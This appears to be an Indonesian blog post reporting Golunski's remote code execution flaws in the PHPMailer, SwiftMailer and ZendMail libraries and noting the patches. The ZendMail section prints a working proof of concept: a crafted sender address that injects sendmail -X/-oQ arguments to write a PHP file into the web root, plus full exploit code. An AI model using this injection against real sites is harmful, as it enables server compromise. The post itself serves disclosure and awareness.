PT. Digital Media Techindo

Perum Pondok Tandala, Jl. Bungur V No. 230
Kawalu, Kota Tasikmalaya
Jawa Barat - Indonesia 46182




Kemarin-kemarin sudah ditemukan kerentanan kritis remote code execution di salah satu library open source PHP populer. Yang mana library tersebut digunakan untuk mengiri email. Dan kerentanan tersebut memungkinkan penyerang untuk mengeksekusi remote kode arbitrary dalam konteks web server. Juga dapat mengganggu aplikasi web. Selain kerentanan itu, Golunski juga melaporkan kerentanan yang sama di dua mailing library lain untuk PHP. Yaitu SwiftMailer dan ZendMail. Yang mana kerentanan ini juga menyebabkan serangan remote code execution.

Kerentanan Kritis Remote Code Execution

Kerentanan Kritis Remote Code Execution di SwiftMailer

SwiftMailer merupakan sebuah library PHP yang sudah digunakan oleh banyak proyek open-source populer. Seperti Yii2, LARAVEL, dan Symfony untuk mengirim email melalui SMTP.

Kerentanan di SwiftMailer ini dapat dimanfaatkan dengan cara yang sama seperti kerentanan PHPMailer. Yaitu dengan menargetkan komponen situs web yang menggunakan SwiftMailer class. Seperti form kontak / pendaftaran, password email reset form, dan sebagainya.

Kerentanan ini memungkinkan penyerang untuk mengeksekusi kode arbitrary dari jarak jauh dalam konteks web server. Yang mana bisa lebih dimanfaatkan untuk mengakses web server hosting aplikasi web yang menggunakan versi rentan dari library SwiftMailer ini. Kerentanan ini mempengaruhi semua versi dari library, termasuk rilisan versi 5.4.5-DEV.

Golunski sudah melaporkan kerentanan ini ke tim teknisi SwiftMailer. Dan para pengembangnya pun langsung bertindak cepat untuk memperbaiki celah ini. Lalu meluncurkan patch versi 5.4.5 hanya dalam satu hari.

Mail transportasi (Swift_Transport_MailTransport) adalah kerentanan melewati argumen shell arbitrary if “From,” “ReturnPath” atau “Sender” header yang berasal dari sumber tidak dipercaya. Berpotensi untuk memungkinkan remote code execution“, baca lebih lanjut mengenai hal ini di changelog untuk SwiftMailer dalam GitHub.

Kerentanan Kritis Remote Code Execution di ZendMail

Dengan menginjeksi urutan ekstra \” setelah argumen pertama, email berikut:


"Attacker \" -Param2 -Param3"@test.com

Ketika melewati transportasi sendmail Zend-mail ( dan pada akhirnya ke fungsi mail() ) akan menyebabkan sendmail untuk mengeksekusi:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker\]
Arg no. 4 == [-Param2]
Arg no. 5 == [-Param3"@test.com]

Seperti yang dapat dapat kamu lihat, hal tersebut akan menyuntikkan parameter tambahan 4 & 5 untuk sendmail.

A simple PoC (working on Sendmail MTA)

Hal ini akan menginjeksi parameter berikut untuk perintah sendmail:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-r]
Arg no. 4 == [attacker\]
Arg no. 5 == [-oQ/tmp/]
Arg no. 6 == [-X/var/www/cache/phpcode.php]
Arg no. 7 == ["@email.com]

Yang akan menulis transfer log (X) ke dalam file /var/www/cache/phpcode.php.

Note: /var/www/cache harus ditulis oleh www-data web user.

File yang dihasilkan akan berisi muatan yang sah dalam body message:

09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<< 
09607 <<< <?php phpinfo(); ?>
09607 <<< 
09607 <<< 
09607 <<<

Exploit Code:

// Attacker's input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form with sender/body fields
 
$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.com';
// encoded phpinfo() php code
$msg_body = base64_decode("PD9waHAgcGhwaW5mbygpOyA/Pg==");

// ------------------
 
// mail() param injection via the vulnerability in zend-mail

chdir(dirname(__DIR__));
include 'vendor/Zend/Loader/AutoloaderFactory.php';

Zend\Loader\AutoloaderFactory::factory(array(
        'Zend\Loader\StandardAutoloader' => array(
                'autoregister_zf' => true
        )
));

Zend\Mvc\Application::init(require 'config/application.php')->run();

$message        = new \Zend\Mail\Message();

$message->setBody($msg_body);
$message->setFrom($email_from, 'Attacker');
$message->addTo('[email protected]', 'Support');
$message->setSubject('Zend PoC');

$transport  = new \Zend\Mail\Transport\Sendmail();
$transport->send($message);

ZendMail merupakan komponen yang populer di kalangan framework pemograman PHP. Yang mana sudah lebih dari 95 juta website menggunakan ZendMail.

Kerentanan kritis di ZendMail juga dapat dimanfaatkan dengan cara yang sama seperti yang ditemukan dalam PHPMailer dan SwiftMailer. Dengan menargetkan komponen situs web yang menggunakan ZendMail, seperti form kontak / pendaftaran, password email reset form, dan sebagainya.

Dalam kerentanan ini penyerang bisa memperoleh remote code execution dalam konteks web server. Dan bisa mengganggu aplikasi web target yang menggunakan versi rentan dari ZendMail.

Video Demonstration Proof-of-Concept Kerentanan Kritis Remote Code Execution SwiftMailer, PhpMailer dan ZendMail


Just a simple person who like photography, videography, code, and cyber security enthusiast.